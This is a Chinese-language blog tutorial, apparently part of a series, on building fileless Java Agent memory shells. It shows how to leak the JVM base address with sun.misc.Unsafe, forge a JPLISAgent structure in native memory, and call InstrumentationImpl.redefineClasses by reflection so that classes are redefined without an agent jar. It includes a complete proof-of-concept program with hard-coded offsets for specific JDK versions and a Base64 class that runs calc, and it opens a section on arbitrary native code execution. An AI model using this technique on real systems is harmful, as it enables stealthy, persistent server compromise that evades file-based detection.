Agent内存马(二)续

Agent内存马(二)续

本文字数:5188  阅读时长:11分钟

访客数:加载中... | 阅读量:加载中...

无文件上传 Agent 内存马

在之前的文章中我们已经知道了,如果需要在 JVM 里修改加载的类,那我们就需要加载自定义的 Agent。其可以是 Java 层的 jar 包,也可以是 Native 层的.so 文件。但是它们都是需要落地上传文件的,显然并不方便。那么能不能不上传文件实现动态修改呢?答案是可以的,方法就是跳过正常的加载流程。

  1. 在客户端和目标 JVM 建立 IPC 连接以后,客户端会封装一个用来加载 agent.jar 的 AttachOperation 对象,这个对象里面有三个关键数据:actioName、libName 和 agentPath;
  2. 服务端收到 AttachOperation 后,调用 enqueue 压入 AttachOperation 队列等待处理;
  3. 服务端处理线程调用 dequeue 方法取出 AttachOperation;
  4. 服务端解析 AttachOperation,提取步骤 1 中提到的 3 个参数,调用 actionName 为 load 的对应处理分支, 然后加载 libinstrument.so (在 windows 平台为 instrument.dll),执行 AttachOperation 的 On_Attach 函数(由此可以看到,Java 层的 instrument 机制,底层都是通过 Native 层的 Instrument 来封装的);
  5. libinstrument.so 中的 On_Attach 会解析 agentPath 中指定的 jar 文件,该 jar 中调用了 redefineClass 的功能;
  6. 执行流转到 Java 层,JVM 会实例化一个 InstrumentationImpl 类
  7. InstrumentationImpl 实例化之后,再继续调用 InstrumentationImpl 类的 redefineClasses 方法,做稍许校验之后继续调用 InstrumentationImpl 的 Native 方法 redefineClasses0
  8. 执行流走入 Native 层执行 redefineClasses0,最终调用 jvmtienv 的 redefineClasses 方法执行类 redefine 操作

上述 8 个步骤大致可以分成俩部分,第一部分是 1-5 步,主要就是进行了对 agent.jar 的加载。而第二部分就是 6-8 步,主要就是实现了类的 redefine。

而我们如果想要通过不加载 agent.jar 包达到修改加载的类的效果,方法显然就是跳过前面 5 步,不加载 jar 包,直接从第 6 步开始,并且能自定义一个可用的 InstrumentationImpl 从而能正常执行后面 redefineClasses0,从而达成修改加载的类的效果。

那么我们就先来看 InstrumentationImpl 和其下的 redefineClasses0 方法。

java
public class InstrumentationImpl implements Instrumentation {
  private final TransformerManager mTransformerManager = new TransformerManager(false);
  private TransformerManager mRetransfomableTransformerManager = null;
  private final long mNativeAgent;
  private final boolean mEnvironmentSupportsRedefineClasses;
  private volatile boolean mEnvironmentSupportsRetransformClassesKnown;
  private volatile boolean mEnvironmentSupportsRetransformClasses;
  private final boolean mEnvironmentSupportsNativeMethodPrefix;

  private InstrumentationImpl(long var1, boolean var3, boolean var4) {
      this.mNativeAgent = var1;
      this.mEnvironmentSupportsRedefineClasses = var3;
      this.mEnvironmentSupportsRetransformClassesKnown = false;
      this.mEnvironmentSupportsRetransformClasses = false;
      this.mEnvironmentSupportsNativeMethodPrefix = var4;
  }
  ··· ···
  public void redefineClasses(ClassDefinition... var1) throws ClassNotFoundException {
    if (!this.isRedefineClassesSupported()) {
        throw new UnsupportedOperationException("redefineClasses is not supported in this environment");
    } else if (var1 == null) {
        throw new NullPointerException("null passed as 'definitions' in redefineClasses");
    } else {
        for(int var2 = 0; var2 < var1.length; ++var2) {
            if (var1[var2] == null) {
                throw new NullPointerException("element of 'definitions' is null in redefineClasses");
            }
        }

        if (var1.length != 0) {
            this.redefineClasses0(this.mNativeAgent, var1);
        }
    }
  }
  ··· ···

可以看到 redefineClasses 方法里面在 this.redefineClasses0 (this.mNativeAgent, var1); 时使用了 InstrumentationImpl 的 mNativeAgent 属性。继续查看 Native 方法 redefineClasses0

java
/*
 * Class:     sun_instrument_InstrumentationImpl
 * Method:    redefineClasses0
 * Signature: (J[Ljava/lang/instrument/ClassDefinition;)V
 */
JNIEXPORT void JNICALL Java_sun_instrument_InstrumentationImpl_redefineClasses0
  (JNIEnv * jnienv, jobject implThis, jlong agent, jobjectArray classDefinitions) {
    redefineClasses(jnienv, (JPLISAgent*)(intptr_t)agent, classDefinitions);
}

可以看到传入的 mNativeAgent 对应的是第三个参数 jlong agent,而其被转换为了 JPLISAgent * 指针传给了 redefineClasses,说明其原本就是一个指向 JPLISAgent 的指针。继续查看其内执行的 redefineClasses 方法

其中需要额外关注的参数是第一行的 jvmtienv

java
jvmtiEnv*   jvmtienv                        = jvmti(agent);

而 jvmti 是一个宏,它指向了其自身下的 mNormalEnvironment.mJVMTIEnv 属性

java
#define jvmti(a) a->mNormalEnvironment.mJVMTIEnv

再回到 redefineClasses 函数,在 redefineClasses 函数里会进行一系列检验,因为代码太长了,上面截图也不全,就挑出来了进行 RedefineClasses 的关键部分。可以最终调用了 jvmtienv 的 redefineClasses 方法执行类 redefine 操作。

java
if (!errorOccurred) {
  jvmtiError  errorCode = JVMTI_ERROR_NONE;
  errorCode = (*jvmtienv)->RedefineClasses(jvmtienv, numDefs, classDefs);
  if (errorCode == JVMTI_ERROR_WRONG_PHASE) {
      /* insulate caller from the wrong phase error */
      errorCode = JVMTI_ERROR_NONE;
  } else {
      errorOccurred = (errorCode != JVMTI_ERROR_NONE);
      if ( errorOccurred ) {
          createAndThrowThrowableFromJVMTIErrorCode(jnienv, errorCode);
      }
  }
}

显而易见的 InstrumentationImpl 的 mNativeAgent 属性是一个贯穿全局的指针,有着关键型的作用,而其是一个指向 JPLISAgent 对象的指针,那我们现在就应该考虑如何去构造 JPLISAgent 对象。

JPLISAgent 是在 native 层的结构体,我们先看看它的结构。

java
struct _JPLISAgent {
  JavaVM *                mJVM;                   /* handle to the JVM */
  JPLISEnvironment        mNormalEnvironment;     /* for every thing but retransform stuff */
  JPLISEnvironment        mRetransformEnvironment;/* for retransform stuff only */
  jobject                 mInstrumentationImpl;   /* handle to the Instrumentation instance */
  jmethodID               mPremainCaller;         /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */
  jmethodID               mAgentmainCaller;       /* method on the InstrumentationImpl for agents loaded via attach mechanism */
  jmethodID               mTransform;             /* method on the InstrumentationImpl that does the class file transform */
  jboolean                mRedefineAvailable;     /* cached answer to "does this agent support redefine" */
  jboolean                mRedefineAdded;         /* indicates if can_redefine_classes capability has been added */
  jboolean                mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */
  jboolean                mNativeMethodPrefixAdded;     /* indicates if can_set_native_method_prefix capability has been added */
  char const *            mAgentClassName;        /* agent class name */
  char const *            mOptionsString;         /* -javaagent options string */
  const char *            mJarfile;               /* agent jar file name */
  jboolean                mPrintWarning;          /* print warning when started */
};

这里特别关注之前通过宏获取的属性 mNormalEnvironment 下的 mJVMTIEnv,查看其结构

java
struct _JPLISEnvironment {
  jvmtiEnv *              mJVMTIEnv;              /* the JVM TI environment */
  JPLISAgent *            mAgent;                 /* corresponding agent */
  jboolean                mIsRetransformer;       /* indicates if special environment */
};

其第一个指针是指向内存中的 JVMTIEnv 对象的,这是 JVMTI 机制的核心对象。而第二个指针又指向了 JPLISAgent 对象,相当于形成了一个回环。此外通过分析,其第三个属性 mRedefineAvailable 成员,必须要设置成 true。

现在还差最后一个关键属性 mJVMTIEnv 了,而是指向内存中的 JVMTIEnv 对象的,那就需要确定 JVMTIEnv 的地址。

这里你可以和我一样先写一个直接通过反射获取 JPLISAgent 地址的方法。

java
package org.example;

import java.lang.instrument.Instrumentation;
import java.lang.reflect.Field;

public class JVMTIAddressPrinter {
  private static Instrumentation instrumentation;

  public static void premain(String agentArgs, Instrumentation inst) {
      instrumentation = inst;
      try {
          getNativeAgent();
      } catch (Exception e) {
          e.printStackTrace();
      }
  }

  private static void getNativeAgent() throws Exception {
      Field field = instrumentation.getClass().getDeclaredField("mNativeAgent");// 通过反射获取 instrumentation 下的 mNativeAgent 属性,其地址指向的正是 JPLISAgent
      field.setAccessible(true);
      System.out.println("JPLISAgent address: " + Long.toHexString((Long) field.get(instrumentation)));
  }
}

因为其需要 Instrumentation,所以将关键获取代码写在 premain 里面,然后将其编译成 jar 包,然后随便选个类启动,将 jar 作为 javaagent 参数启动。这样就可以直接获取 JPLISAgent 地址了。

而其地址加上 0x8 正好就是 mNormalEnvironment 的第一个参数 mJVMTIEnv,其是指向 JVMTIEnv 的指针。

譬如在我这次调试中 JPLISAgent 地址为 2c5cb00,那么 mJVMTIEnv 所在的地址就是 2c5cb08. 其值就是 2c5c500(如下图)

ctrl+G 跳转到 2c5c500,可以看到 JVMTIEnv 的真实地址就是 55b30400。在最上面的选择框选择符号,可以看到 JVM.dll 的基址,这次调试是 55360000。

通过几次不同版本的调试,可以发现 JVMTIEnv 和 JVM 基址的偏移是固定的,而现代操作系统默认都开启了 ASLR,因此 jvm 模块的基址不一定次次相同 (本地测试,所以这里测试的 JVM 基址没变化),所以现在我们的问题变成了如何去找到 JVM 的基址。

java
jdk1.8.0_301 调试结果
mJVMTIEnv:  209060c1d50 1b035c30b90 12550e01cf0 24c2b020410   2513f5b2620
JVMTIEnv:   56e4a280    56e4a280    56e4a280    56e4a280      56e4a280
JVM基址:    566c0000    566c0000    566c0000    566c0000      566c0000
JVM内偏移:  78A280    

jdk1.8.0_201 调试结果
mJVMTIEnv:  2ced030   2c5c500     2c5cb00
JVMTIEnv:   55b30400  55b30400    55b30400
JVM基址:    55360000  55360000    55360000
JVM内偏移:  7D0400

想要从茫茫多的数据中找到 JVM 的基址显然不是一件易事,最简单直接的就是数据泄露。而想要实现数据泄露,我们就需要能够对 Native 内存进行操作的能力,我们可能会想到实现堆外内存的 DirectByteBuffer,这里直接用直接的,也是其底层实现的 Unsafe 类。

这里编写如下代码,用 x64dbg 附加进程进行调试,这里我是断点在 sleep 处,因为刚刚好打印完地址,还能调试。

java
package org.example;

import sun.misc.Unsafe;

import java.lang.reflect.Field;

import static java.lang.Thread.sleep;

public class UnsafeGetInfo {
  public static void main(String[] args) {
      Unsafe unsafe = null;
      try {
          Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
          field.setAccessible(true);
          unsafe = (sun.misc.Unsafe) field.get(null);
          long allocateMemory = unsafe.allocateMemory(3);
          System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));
          sleep(3000);
      } catch (Exception e) {
          throw new AssertionError(e);
      }
  }
}

譬如此次调试我的结果是 28292fb1b90,那么到 x64dbg 内存窗口转到该地址。

可以看到地址 28292fb1b90 前后有很多指针,而其中就不乏有指向 JVM 的地址空间的 (本次调试 JVM 基址为 566c0000),红色波浪线标出。

但是这些指针都是随机的,无法复现。所以 rebeyond 师傅通过统计学写了一个字典,用来匹配这些指针,并通过这些指针推出 JVM 基址。

得到基址后,我们就获得了我们需要的所有参数,现在就需要对 JPLISAgent 进行组装了。

java
private static long getAgent(long jvmtiAddress)
{
  /* unsafe 分配空间 */
  Unsafe unsafe = getUnsafe();
  long agentAddr=unsafe.allocateMemory(0x200);
  long jvmtiStackAddr=unsafe.allocateMemory(0x200);
  /*  */
  unsafe.putLong(jvmtiStackAddr,jvmtiAddress);// 写入 JVMTIEnv 地址
  unsafe.putLong(jvmtiStackAddr+8,0x30010100000071eel);// 不知道有啥用,不过正常寻址后都带有该参数
  /*  */
  unsafe.putLong(jvmtiStackAddr+0x168,0x9090909000000200l);// 该位置指向 allocate 函数指针,后续有用
  System.out.println("long:"+Long.toHexString(jvmtiStackAddr+0x168));
  unsafe.putLong(agentAddr,jvmtiAddress-0x234f0);
  /*  */
  unsafe.putLong(agentAddr+0x8,jvmtiStackAddr);//mJVMTIEnv
  unsafe.putLong(agentAddr+0x10,agentAddr);//mAgent 回环指针,指向本身
  unsafe.putLong(agentAddr+0x18,0x00730065006c0000l);//mIsRetransformer 填充为 true

  //make retransform env,这也是一个 JPLISEnvironment 结构体
  unsafe.putLong(agentAddr+0x20,jvmtiStackAddr);//mJVMTIEnv
  unsafe.putLong(agentAddr+0x28,agentAddr);//mAgent 回环指针,指向本身
  unsafe.putLong(agentAddr+0x30,0x0038002e00310001l);//mIsRetransformer 填充为 true
  /* 空数据的填充 */
  unsafe.putLong(agentAddr+0x38,0);
  unsafe.putLong(agentAddr+0x40,0);
  unsafe.putLong(agentAddr+0x48,0);
  unsafe.putLong(agentAddr+0x50,0);
  /*  */
  unsafe.putLong(agentAddr+0x58,0x0072007400010001l);
  unsafe.putLong(agentAddr+0x60,agentAddr+0x68);// 指向其下一个元素的指针
  unsafe.putLong(agentAddr+0x68,0x0041414141414141l);// 填充 a
  return agentAddr;
}

上述组装代码分配了 JPLISAgent 空间和 mJVMTIEnv 所在的 JVMTIEnv 空间,并对其进行组装。

JPLISAgent 空间内的相关元素的偏移如下。

java
struct _JPLISAgent {
  JavaVM *                mJVM;                   // Offset: 0x00
  JPLISEnvironment        mNormalEnvironment;     // Offset: 0x08
  JPLISEnvironment        mRetransformEnvironment;// Offset: 0x20
  jobject                 mInstrumentationImpl;   // Offset: 0x38
  jmethodID               mPremainCaller;         // Offset: 0x40
  jmethodID               mAgentmainCaller;       // Offset: 0x48
  jmethodID               mTransform;             // Offset: 0x50
  jboolean                mRedefineAvailable;     // Offset: 0x58
  jboolean                mRedefineAdded;         // Offset: 0x59
  jboolean                mNativeMethodPrefixAvailable; // Offset: 0x5A
  jboolean                mNativeMethodPrefixAdded;     // Offset: 0x5B
  char const *            mAgentClassName;        // Offset: 0x60
  char const *            mOptionsString;         // Offset: 0x68
  const char *            mJarfile;               // Offset: 0x70
  jboolean                mPrintWarning;          // Offset: 0x78
};

这里稍微改了一下 rebeyond 师傅的代码,改成了弹出计算器,更加直观一些。其中你需要重定义的类数据都在 Base64 编码的字符串里面,注意如果你想要直接用下面的 Demo,注意环境是 windows_java_8_301_x64。

完整测试 Demo 如下:

java
package org.example;

public class Bird {
  public void sayHello(){
      System.out.println("hello!");
  }
}
java
package org.example;

import sun.misc.Unsafe;

import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;

public class PocWindows {
    public static void main(String[] args) throws Throwable {

        Unsafe unsafe = getUnsafe();

        Thread.sleep(2000);
        //System.gc();
        //Thread.sleep(2000);
        long allocateMemory = unsafe.allocateMemory(3);
        System.out.println("allocateMemory:" + Long.toHexString(allocateMemory));
        String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'";
        patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'"; //for windows_java8_301_x64
        //patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64
        long jvmtiOffset=0x79a220; //for java_8_271_x64
        jvmtiOffset=0x78a280; //for windows_java_8_301_x64
        //jvmtiOffset=0xf9c520; //for linux_java_8_301_x64
        List<Map<String, String>> patternList = new ArrayList<Map<String, String>>();
        for (String pair : patterns.split(",")) {
            String offset = pair.split(":")[0].replace("'", "").trim();
            String value = pair.split(":")[1].replace("'", "").trim();
            String delta = pair.split(":")[2].replace("'", "").trim();
            Map pattern = new HashMap<String, String>();
            pattern.put("offset", offset);
            pattern.put("value", value);
            pattern.put("delta", delta);
            patternList.add(pattern);
        }

        int offset = 8;
        int targetHexLength=8; //on linux,change it to 12.
        for (int j = 0; j < 0x2000; j++)  //down search
        {

            for (int x : new int[]{-1, 1}) {
                long target = unsafe.getAddress(allocateMemory + j * x * offset);
                String targetHex = Long.toHexString(target);
                if (target % 8 > 0 || targetHex.length() != targetHexLength) {
                    continue;
                }
                if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) {
                    continue;
                }
                System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j);

                for (Map<String, String> patternMap : patternList) {
                    targetHex = Long.toHexString(target);

                    if (targetHex.endsWith(patternMap.get("offset"))) {
                        String targetValueHex = Long.toHexString(unsafe.getAddress(target));
                        System.out.println("[!]bingo.");
                        if (targetValueHex.endsWith(patternMap.get("value"))) {
                            System.out.println("[ok]i found agent env:start get " + Long.toHexString(target) + ",at  :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j);
                            System.out.println("[ok]jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16)));
                            System.out.println("[ok]jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset));
                            //long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30;
                            long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset;
                            long agentAddress = getAgent(jvmtiAddress);
                            System.out.println("agentAddress:" + Long.toHexString(agentAddress));
                            Bird bird = new Bird();
                            bird.sayHello();
                            doAgent(agentAddress);

                            //doAgent(Long.parseLong(address));

                            bird.sayHello();
                            return;
                        }

                    }
                }

            }

        }
    }

    private static long getAgent(long jvmtiAddress) {
        Unsafe unsafe = getUnsafe();
        long agentAddr = unsafe.allocateMemory(0x200);
        long jvmtiStackAddr = unsafe.allocateMemory(0x200);
        unsafe.putLong(jvmtiStackAddr, jvmtiAddress);
        unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel);

        unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l);
        System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168));
        unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0);

        unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr);
        unsafe.putLong(agentAddr + 0x10, agentAddr);
        unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l);

        //make retransform env
        unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr);
        unsafe.putLong(agentAddr + 0x28, agentAddr);
        unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l);

        unsafe.putLong(agentAddr + 0x38, 0);
        unsafe.putLong(agentAddr + 0x40, 0);
        unsafe.putLong(agentAddr + 0x48, 0);
        unsafe.putLong(agentAddr + 0x50, 0);

        unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l);
        unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68);
        unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l);
        return agentAddr;
    }

    private static void doAgent(long address) throws Exception {
        Class cls = Class.forName("sun.instrument.InstrumentationImpl");
        for (int i = 0; i < cls.getDeclaredConstructors().length; i++) {
            Constructor constructor = cls.getDeclaredConstructors()[i];
            constructor.setAccessible(true);
            Object obj = constructor.newInstance(address, true, true);
            for (Field f : cls.getDeclaredFields()) {
                f.setAccessible(true);
                if (f.getName().equals("mEnvironmentSupportsRedefineClasses")) {
                    //System.out.println("mEnvironmentSupportsRedefineClasses:" + f.get(obj));
                }
            }
            for (Method m : cls.getMethods()) {

                if (m.getName().equals("redefineClasses")) {
                    //System.out.println("redefineClasses:" + m);
                    String newBirdClassStr = "yv66vgAAADQAKwoACQATCQAUABUIABYKABcAGAoAGQAaCAAbCgAZABwHAB0HAB4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAIc2F5SGVsbG8BAApFeGNlcHRpb25zBwAfAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwACgALBwAgDAAhACIBABFjaGFuZ2UhIHBvcCBjYWxjIQcAIwwAJAAlBwAmDAAnACgBAARjYWxjDAApACoBABBvcmcvZXhhbXBsZS9CaXJkAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAACAAEACgALAAEADAAAAB0AAQABAAAABSq3AAGxAAAAAQANAAAABgABAAAABQABAA4ACwACAAwAAAAyAAIAAQAAABKyAAISA7YABLgABRIGtgAHV7EAAAABAA0AAAAOAAMAAAAHAAgACAARAAkADwAAAAQAAQAQAAEAEQAAAAIAEg==";
                    Bird bird = new Bird();
                    ClassDefinition classDefinition = new ClassDefinition(
                            bird.getClass(),
                            Base64.getDecoder().decode(newBirdClassStr));
                    ClassDefinition[] classDefinitions = new ClassDefinition[]{classDefinition};
                    try {
                        //Thread.sleep(5000);
                        m.invoke(obj, new Object[]{classDefinitions});
                    } catch (Exception e) {
                        e.printStackTrace();
                    }

                }
            }
            //System.out.println("instrument obj:" + obj);
            //System.out.println("constr:" + cls.getDeclaredConstructors()[i]);
        }
    }

    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;

        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }

}

这个 Demo 的思路就是通过 unsafe 分配内存然后通过字典进行指针匹配找出 JVM 的基址,然后组装 JPLISAgent,再通过反射调用 InstrumentationImpl 的 redefineClasses 方法,实现无 jar 包却能重定义类的字节码。

Java 跨平台的任意 Native 代码执行

这部分 rebeyond 师傅解决了跨平台问题,因为上一小节的代码是基于 windows 下的。

这里仍然是 redefineClasses 函数下,注意到其中使用了 allocate。

java
if ( errorOccurred ) {
    createAndThrowThrowableFromJVMTIErrorCode(jnienv, JVMTI_ERROR_OUT_OF_MEMORY);
}

else {
    /*
      * We have to save the targetFile values that we compute so
      * that we can release the class_bytes arrays that are
      * returned by GetByteArrayElements(). In case of a JNI
      * error, we can't (easily) recompute the targetFile values
      * and we still want to free any memory we allocated.
      */
    targetFiles = (jbyteArray *) allocate(jvmtienv,
                                          numDefs * sizeof(jbyteArray));
    errorOccurred = (targetFiles == NULL);
    jplis_assert(!errorOccurred);
    ··· ···

这里可以发现 allocate 方法调用的是 jvmtiEnv 对象的一个成员函数。实际的 jvmtiEnv 如下图所示,全部都是指针,而 jvmtiEnv 又是我们可以控制的,那我们不就可以实现任意跳转,从而实现任意代码执行。(代码在 Utilities.c 文件下)

java
/*
 *  This module provides various simple JNI and JVMTI utility functionality.
 */

void *
allocate(jvmtiEnv * jvmtienv, size_t bytecount) {
    void *          resultBuffer    = NULL;
    jvmtiError      error           = JVMTI_ERROR_NONE;

